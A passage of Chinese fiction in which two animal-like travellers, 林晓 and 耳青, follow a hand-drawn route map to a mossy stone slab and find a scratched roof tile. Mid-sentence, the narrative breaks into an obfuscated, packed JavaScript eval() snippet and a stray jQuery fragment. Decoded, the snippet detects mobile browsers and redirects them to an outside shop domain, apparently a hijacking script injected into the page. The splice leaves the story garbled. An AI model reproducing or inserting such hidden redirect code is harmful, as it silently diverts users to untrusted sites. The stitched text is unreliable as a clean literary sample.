磨坊在她们身后越缩越小,最后被一片矮树林的树冠完全遮住了。路面上午后的光越来越亮,空气里带着从山脚方向吹来的干燥热风,吹在毛上像一层被反复烘烤过的旧布。耳青走在队伍中间,她的步伐比几天前更稳了,关节的摩擦声也轻了许多,像是身体正在慢慢找回它原本的节奏。
走了一个时辰之后,她们在一棵老榆树下面歇脚。林晓把木盒取出来重新打开,把那一页画着三角标记的纸抽出来铺在膝盖上。纸面上的墨线沿着一条细长的路径延伸,转折点处画着细小的标记,她之前没有仔细比对,现在在光线下再看,发现路线的末段画着一道更浅的虚线,颜色也比主路线淡一些,像是后来补画上去的——从转运路线终点继续往西南方向延伸,直到虚线末端被纸边裁断。
她把纸翻到背面。背面没有任何标注,但纸张的边缘有一处浅色的压痕,像是从另一张纸的背面透过来的,印痕不深,但能看出是一些短线的轮廓。她用手指沿着压痕的走向比划了一下,方向和正面的虚线重合。她把纸收好放回木盒里,重新站起来,沿着路边的一截土坡走上去,站到高处往西南方向看了一会儿。
耳青在她旁边蹲下:“看到了什么?”她的目光还在前面没有收回来:“纸上的路线有一段虚线,延伸到纸边就断了。虚线指向的方向是西南。如果转运路线是绕着山走的,那虚线可能是另一条路。”她看了一会儿视线收回来说,“天黑之前先到纸上的最后一个标记点。到了之后再看。”
下午的路面逐渐从平地转向缓坡,两侧的植被也发生了变化,开始出现一些石砌的矮墙和散落的旧瓦片。她在路边看到了一截倒塌的石墙,墙基还在,墙面上残留着几道被烟熏过的旧痕,像是曾经有人在这里长期居住过。她没有绕开那段石墙,而是沿着墙根走了一段,然后绕过去走到墙的另一侧,停下来看了一会儿——墙面朝南那一侧有一片被磨光的区域,边缘比周围的石面更平滑。她站在那片磨光的区域前面看了片刻,像是在确认某段关于这条路的描述是否与她面前的地形对应得上。她没有开口,但她在心里把看到的位置和纸上的虚线标记叠在一起核对了一遍。
她退了回来,重新沿着路面走。路面在穿过一片白桦林之后开始收窄,两侧的树木越来越密,光线也暗了下来。她走在这段路上的时候放慢了脚步,耳朵朝两侧转着,步子也在某些位置停了一下。耳灰走在她前面,步伐节奏没有变化,但他的目光也在沿着路边的树木和草丛扫视,像是在确认路线上没有异常的痕迹或突变。
傍晚的时候她们到达了纸上的最后一个标记点。是一片被灌木丛半包围的平地,比周围的地面低了一些,像是天然形成的一处凹陷。平地的中央有一块平整的旧石板,表面长了一层薄薄的青苔。她蹲在石板边缘,用手掌按了一下板面,青苔被她的掌垫压出一道湿润的印子,边缘渗出了细小的水珠。她蹲了一会儿,沿着石板的边缘走了一圈,确认了它的尺寸和厚度。然后她走到平地的边缘,蹲下来沿着灌木丛的根部看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932406|213644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一圈,在一丛矮灌木的枝条之间发现了一小片被踩断的草茎——断口的颜色比周围的草浅一些,像是最近被踩断的。草茎倒伏的方向朝西偏南。
耳青蹲在不远处的石板边上,她的视线没有放在灌木上,而是落在平地的南侧边缘:“那边有个东西。”林晓顺着她的视线看过去。南侧边缘的树根处,有一块旧瓦片,半埋在落叶和枯枝之间,露出的那一面比周围的树叶颜色更浅,表面泛着一层旧灰釉的光泽。她走过去蹲下来,把那块瓦片从枯叶堆里抽出来,翻了翻,底面上有一道细长的划痕,笔直的,边缘整齐,像是在烧制之前被人用硬物刻上去的。不是裂纹,是刻上去的一道线。
她站起来,把瓦片放在石板旁边的地面上。风吹过时把一片树叶吹落在瓦片表面,她没有把它拍掉,只是在那片树叶落定之后,顺手把它从瓦片表面拾起来放到了旁边的地面上,然后沿着灌木丛的边缘走了一小段,把沿途每一处可能留下痕迹的位置都检查了一遍。在回程的路上,她走在石板旁边停下的时候,看到自己留在青苔上的爪印边缘正在随着风干而微微收缩,像一道正在逐渐缩小的标记,她知道风会在夜间吹干整块石板,把这些印迹带走,但她在纸上标注的位置已经被这块石板和那道划痕校准到了同一个坐标上。她取出水囊喝了一口水,然后转了个方向,没有继续向西南,而是沿着来路往回走了一小段,在路边一处地势稍高的干燥地面上停下来,蹲下来靠着树干坐好:“今晚在这里住。明天再看怎么继续走。”